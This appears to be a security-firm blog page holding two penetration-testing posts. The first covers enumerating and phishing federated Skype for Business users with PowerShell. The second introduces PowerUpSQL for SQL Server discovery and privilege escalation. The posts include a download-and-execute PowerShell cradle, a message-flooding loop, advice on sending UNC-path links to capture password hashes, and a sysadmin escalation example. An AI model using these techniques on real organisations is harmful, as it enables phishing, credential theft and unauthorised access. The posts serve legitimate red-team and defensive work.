Attacking Federated Skype for Business with PowerShell

Federated Skype for Business is a handy way to allow businesses to communicate with each other over a common instant messaging platform. From a security standpoint, the open exchange of information between businesses is a little concerning. NetSPI first started running into instances of federated Skype for Business (at that time Lync) about two years ago. We had opened up federation on our Skype setup and found that we could IM with some of our clients. We also found out that we could see their current availability. This was a little concerning to me at the time, but I was busy, so I didn’t look into it. I was finally able to really start digging into Skype federation last fall and it’s been a really interesting research subject.

The Basics

Skype federation works by setting up an internet facing federated endpoint to allow for outside domains to connect to and send messages through to another domain. Basically, Business A can talk to Business B, if both of them have the proper federation set up. There are a couple of ways that you can set up federation, but most of the domains that we’ve run into so far just have open federation enabled. You can restrict it by domain, but I have not seen this implemented as frequently.

Being able to Skype chat with clients and other businesses could be handy, but what can we do with this as pen testers?

For starters:

  • Validate email addresses
  • Get Skype availability and Out-of-Office statuses
  • Send phishing messages via Skype

Setting up Your Test Environment

Since you may not have federated Skype for Business (or Lync) at your disposal, and you probably don’t want to set up a server for yourself (I’ve heard it’s rough), you can just go to the cloud. This may sound like a plug for Microsoft services, but they are a reasonably priced option for testing this stuff out. You can go month to month ($6/month) or a full year ($5/month) and get federated Skype for Business services direct from Microsoft (See Here). It’s really easy to set up and if you only need it for an engagement, it’s pretty easy to fire up for a month. You will have to specifically enable domain federation through the web interface, but it’s pretty easy. Go to the Skype for Business admin center, select organization, and change the external access to “On except for blocked domains”. Also check the “public IM connectivity” button too.

Once you have a federated Skype for Business domain set up, you just need the Skype for Business client (available on the Microsoft Office Portal) installed on your machine to start poking around. Let’s take a look at a sample domain.

Here’s what we see when we try to communicate with an email address that is not federated with Skype.

We can see that the email address is listed in full and we get “Presence unknown” for the current status.

Here’s what a live federated email address will look like. (Note the Full Name, Job Title, and Status)

Here’s what it looks like when I open up conversations with a bunch of CEOs from other federated companies.

So we have a full name, job title, and current status. This is handy for one-off targeting of individuals, but what if we want to target a larger list. We can use the Lync SDK and some PowerShell to do that.

The Lync (Skype for Business) SDK

This can be kind of a pain to properly set up, so follow these steps.

I know Visual Studio 2010 is old, but it’s the easiest way to get the Lync SDK to work.

This should work. I’ve gone through this on a Windows 10 VM and had no issues. If you have issues with it, feel free to leave a comment.

Once you have the SDK installed, we can start wrapping the SDK functions with PowerShell to automate our attacks. I’ve put together a few functions (outlined below) that we can use to start attacking these federated Skype for Business interfaces.

Get the module here:

All of these functions should be working, and there’s a few more on the way (along with better documentation). Feel free to comment on the GitHub page with any feedback. If you have issues importing the Lync SDK DLL, do a search on your system for “Microsoft.Lync.Model.dll” and change your path in the module. If you followed the steps above, it should be in the default path.

Overview of Module Functions

Validate an email and get its status – Single Email

Get-SkypeStatus -email

Email         :
Title         : Chief Example Officer
Full Name     : Testing McTestface
Status        : Available
Out Of Office : False

*Side note – Since there is sometimes a federation delay, you may not get a user’s status back immediately. It helps if you run the function a couple (2-3) of times. This can be done by using the “attempts” flag. You may end up with duplicates if you do multiple attempts, but you’ll probably have better coverage.

Validate emails and get statuses – List Input

Get-SkypeStatus -inputFile C:Tempemails.txt | ft -auto

Email                       Title          Full Name   Status        Out Of Office
-----                       -----          ---------   ------        -------------      Consultant      FakeName 1  Away          False      Accountant      FakeName 2  Away          False      Intern          FakeName 3  Away          False      Lead Intern     FakeName 4  Out of Office True      Associate       FakeName 5  Available     False      Somebody        FakeName 6  Offline       False      Senior Somebody FakeName 7  Offline       False      Marketing Guru  FakeName 8  Away          False      IT “Engineer”   FakeName 9  Offline

Send a message – Single User

Invoke-SendSkypeMessage -email -message "Hello World"
Sent the following message to
Hello World

Send a message – Multiple Users

get-content emails.txt | foreach {Invoke-SendSkypeMessage -email $_ -message "Hello World"}
Sent the following message to
Hello World

Sent the following message to
Hello World

*If you don’t feel like piping get-content, you can just use the “inputFile” parameter here as well.

Start a group message

Invoke-SendGroupSkypeMessage -emails "," -message "testing"
Sent the following message to 2 users:

*You can also use an input file here as well.

Send a million messages**

for ($i = 0; $i -lt 1000000; $i++){Invoke-SendSkypeMessage -email -message "Hello $i"}
Sent the following message to
Hello 0
Sent the following message to
Hello 1
Sent the following message to
Hello 2
Sent the following message to
Hello 3

**For the record, Skype will probably not be happy with you if you try to open a million conversations. My Skype client starts crashing when it takes up around 1.5 gb of memory.

Current Exposure

So how big of an exposure is this? Since I see federation pretty regularly with our clients, I decided to go out and check the internet for other domains that support Skype federation. There are a couple of ways that we can identify potential federated Skype for Business domains. We’ll start with the Alexa top 1 million list and work down from there.

We’ll start by seeing which domains have the ms=ms12345678 records. This is commonly placed in DNS TXT records so that Microsoft can validate the domain that is being federated.

47,455 of the top 1 million have “ms=ms*” records

Next we’ll take a look at how many of those “MS” domains have SIP or Microsoft federation specific SRV records enabled. –  9,395 Records – 28,719 Records – 28,537 Records

Taking a unique list of the domains from each of those lists, we end up with 29,551 domains. Now we can try to send messages to the “Administrator” (Default Domain Admin) Skype address.

45 Domains with the “Administrator” account registered on Skype for Business

I’m sure that there are plenty of domains in the list with renamed Administrator accounts and many others that also do not have a Skype user set up for that account, but this is still an interesting number of domain admins that are somewhat exposed.

Further Attacks

As you can see, there’s some decent surface area here to start attacking. My current favorite thing to send is UNC paths. Sending someone www.microsoftsupport.onlinehelp looks somewhat legitimate and happens to send a Skype user’s hash (if they click on it) directly to your attacking system (assuming you own Once you crack that hash, there’s a good chance that the organization has auto-discovery set up for global Skype access. Just login to Skype for Business with your cracked credentials and start saying hello to your new co-workers.

Some other options:

  • Want some extra time to run your attack, wait until the entire SOC team is “Away” or “In a Meeting” and fire away.
  • Need an audience? How about a group meeting with everyone (up to 250 users – source) in an organization at the same time?
  • Need to find an office to use for the day during onsite social engineering? Find the person who’s out of office for the day and set up shop in their spot.

Final Notes

For the defenders that are reading this, you should probably set up limitations on who you federate with. An overview of the different types of federation can be found here. Additionally, you may want to see if federation really makes sense for your organization.

Sources Note: There is some really great prior work that was done by Jason Ostrom, Karl Feinauer, and William Borskey that they presented at DEF CON 20. Take a look at their talk on YouTube or their slides.


PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server

In this blog I’ll introduce the PowerUpSQL PowerShell module, which supports SQL Server instance discovery, auditing for weak configurations, and privilege escalation on scale. It primarily targets penetration testers and red teams. However, PowerUpSQL also includes many functions that could be used by administrators to inventory the SQL Servers on their ADS domain. Hopefully you’ll find it as helpful as I do.

The PowerUpSQL project is currently available on GitHub and the PowerShell Gallery:

For those of you who are interested in an overview take a peek at the rest of the blog.

Loading PowerUpSQL

Below are three options for loading the PowerUpSQL PowerShell module.  Choose the one that works best for you. 🙂

  1. Install it from the PowerShell Gallery. This requires local administrative privileges and will permanently install the module.
    Install-Module -Name PowerUpSQL
  2. Download the project and import the module. This does not require administrative privileges and will only be imported into the current session. However, it may be blocked by restrictive execution policies.
    Import-Module PowerUpSQL.psd1
  3. Load it via a download cradle. This does not require administrative privileges and will only be imported into the current session. It should not be blocked by executions policies.
    IEX(New-Object System.Net.WebClient).DownloadString("")

    Note: To run as an alternative domain user, use the runas command to launch PowerShell prior to loading PowerUpSQL.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

PowerUpSQL Overview

I’m a bit of an SQL Server enthusiast and have written a few SQL Server attack scripts in the past.  However, using the standalone scripts for attacking SQL Server is slow. Especially when they only support execution against one server at a time.  So, I rolled most of my old work into this module, so performing SQL Server recon and privilege escalation attacks could be executed a little faster and on scale.  I’m planning to continue to write functions for the module so hopefully it will get better over time. Luckily Antti Rantasaari and Eric Gruber have also been contributing some code to make my life easier. 🙂

Below is an overview of the key design objectives met by the version 1.0 release.  A full list of available functions can be found in the of the GitHub project.

Easy Server Discovery

Blindly identify local, domain, and non-domain SQL Server instances on scale using discovery functions. The example below shows how to get a list of all of the SQL Servers with registered SPNs on the current domain.

PS C:\>Get-SQLInstanceDomain -Verbose        
VERBOSE: Grabbing SQL Server SPNs from domain...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 35 instances were found.

ComputerName               :
Instance                         :\STANDARDDEV2014
DomainAccountSid      : 1500000521000123456712921821222049996811922123456
DomainAccount         : SQLSvc
DomainAccountCn       : SQLSvc
Service                        : MSSQLSvc
Spn                            : MSSQLSvc/
LastLogon                         : 6/22/2016 9:00 AM
Description        : This is a test SQL Server.


Easy Server Auditing

Invoke-SQLAudit audits for common high impact vulnerabilities and weak configurations using the current login’s privileges. Also, Invoke-SQLDumpInfo can be used to quickly inventory databases, privileges, and other information.Below is an example showing how to dump a basic inventory list of common objects from SQL Server to CSV files.

PS C:\> Invoke-SQLDumpInfo -Verbose -Instance "SQLServer1\STANDARDDEV2014"
VERBOSE: Verified write access to output directory.
VERBOSE:\STANDARDDEV2014 - Getting non-default databases...
VERBOSE:\STANDARDDEV2014 - Getting database users for databases...
VERBOSE:\STANDARDDEV2014 - Getting privileges for databases...
VERBOSE:\STANDARDDEV2014 - Getting database roles...
VERBOSE:\STANDARDDEV2014 - Getting database role members...
VERBOSE:\STANDARDDEV2014 - Getting database schemas...
VERBOSE:\STANDARDDEV2014 - Getting database tables...
VERBOSE:\STANDARDDEV2014 - Getting database views...
VERBOSE:\STANDARDDEV2014 - Getting database columns...
VERBOSE:\STANDARDDEV2014 - Getting server logins...
VERBOSE:\STANDARDDEV2014 - Getting server config settings...
VERBOSE:\STANDARDDEV2014 - Getting server privileges...
VERBOSE:\STANDARDDEV2014 - Getting server roles...
VERBOSE:\STANDARDDEV2014 - Getting server role members...
VERBOSE:\STANDARDDEV2014 - Getting server links...
VERBOSE:\STANDARDDEV2014 - Getting server credentials...
VERBOSE:\STANDARDDEV2014 - Getting SQL Server service accounts...
VERBOSE:\STANDARDDEV2014 - Getting stored procedures...
VERBOSE:\STANDARDDEV2014 - Getting DML triggers...
VERBOSE:\STANDARDDEV2014 - Getting DDL triggers...
VERBOSE:\STANDARDDEV2014 - Getting server version information...

A collection of .csv files should now be ready for your review. 🙂 Now let’s take it a little further. Below is an example showing how to perform an audit for common high impact configuration issues. It only includes one issue for the sake of saving space, but hopefully you get the idea.

PS C:\> Invoke-SQLAudit -Verbose -Instance "SQLServer1\STANDARDDEV2014"


ComputerName  : SQLServer1 
Instance      : SQLServer1\STANDARDDEV2014
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.             
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. 
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : No
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The test (Sysadmin) is configured with the password test.
Reference     :
Author        : Scott Sutherland (@_nullbind), NetSPI 2016


Note: You can also save the audit results to a CSV by using the OutFolder switch.

Easy Server Exploitation

Invoke-SQLEscalatePriv attempts to obtain sysadmin privileges using identified vulnerabilities.  Also, this is essentially the name sake function for the module. I thought “PowerUpSQL” was a fun play off of the Windows privilege escalation script PowerUp by Will Schroeder.Below is an example showing an attempt to obtain sysadmin privileges on a SQL Server using Invoke-SQLEscalatePriv. By default it will return no output so that it can be used by other scripts.  To view the results use the verbose flag.

PS C:\> Invoke-SQLEscalatePriv –Verbose –Instance “SQLServer1\Instance1”

VERBOSE: SQLServer1\Instance1: Checking if you're already a sysadmin...
VERBOSE: SQLServer1\Instance1: You're not a sysadmin, attempting to change that...


VERBOSE: SQLServer1\Instance1 : Success! You are now a sysadmin!


PowerUpSQL functions support the PowerShell pipeline so they can easily be used together, or with other scripts.  For example, you can quickly get a list of non-default databases from the local server.

PS C:\> Get-SQLInstancelocal | Get-SQLDatabase –Verbose –NoDefaults

ComputerName        : SQLServer1
Instance            : SQLServer1\STANDARDDEV2014
DatabaseId          : 7
DatabaseName        : testdb
DatabaseOwner       : sa
OwnerIsSysadmin     : 1
is_trustworthy_on   : True
is_db_chaining_on   : False
is_broker_enabled   : True
is_encrypted        : False
is_read_only        : False
create_date         : 4/13/2016 4:27:36 PM
recovery_model_desc : FULL
FileName            : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
DbSizeMb            : 3.19
has_dbaccess        : 1



This is the best part. Pipeline support combined with multi-threading via invoke-parallel (runspaces) allows users to execute PowerUpSQL functions against many SQL Servers very quickly. A big thank you goes out to Rambling Cookie Monster (Warren F) and Boe Prox for sharing their experiences with runspaces via blogs and GitHub. Without their work I would most likely have been stuck using PowerShell jobs. Blah.Below is a basic example showing how to identify a list of SQL Server instances that can be logged into on the domain as the current user. This is a short example, but most large organizations have thousands of instances.

PS C:\Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10


ComputerName   Instance                       Status    
------------   --------                       ------    
Server1           Server1\SQLEXPRESS             Accessible
Server1           Server1\STANDARDDEV2014        Accessible
Server2           Server2\STANDARDDEV2008        Not Accessible


To make that command even more useful I recommend setting the output to a variable so you can quickly target accessible servers. Example below:

PS C:\ $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose –Threads 10 | Where-Object {$_.Status –eq “Accessible”}

Then you can run other functions against accessible servers very quickly via piping. For example, grabbing server information from accessible SQL Server instances.

PS C:\$Servers | Get-SQLServerInfo –Verbose


ComputerName           : SQLServer1
InstanceName           : SQLServer1\STANDARDDEV2014
DomainName             : Domain
ServiceName            : MSSQL$STANDARDDEV2014
ServiceAccount         : LocalSystem
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP1
OSArchitecture         : X64Os
MachineType            : WinNT
OSVersionName          : Windows 8.1 Pro
OsVersionNumber        : 6.3
Currentlogin           : Domain\MyUser
IsSysadmin             : Yes
ActiveSessions         : 3



Last, but not least, PowerUpSQL uses the .NET Framework sqlclient library so there are no dependencies on SQLPS or the SMO libraries. That also means you don’t have to run it on a system where SQL Server has been installed. Functions have also been designed so they can be run independently.

Wrap Up

PowerUpSQL can support a lot of use cases that are helpful to both attackers and admins. As time goes on I’ll try to write some follow up blogs that touch on them. In the meantime, I hope you like the module. Feel free to submit tickets in the GitHub repository if something doesn’t work as expected. I’d love some constructive feedback.

Good luck and hack responsibly!

Thanks People!

Thank you NetSPI development team for letting me pester you with stupid questions. Big thanks to Eric Gruber, Antti Rantasaari, and Khai Tran for the brain storming sessions and code contributions. Of course, that really extends to the entire NetSPI team, but this blog is already too long. 🙂


Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.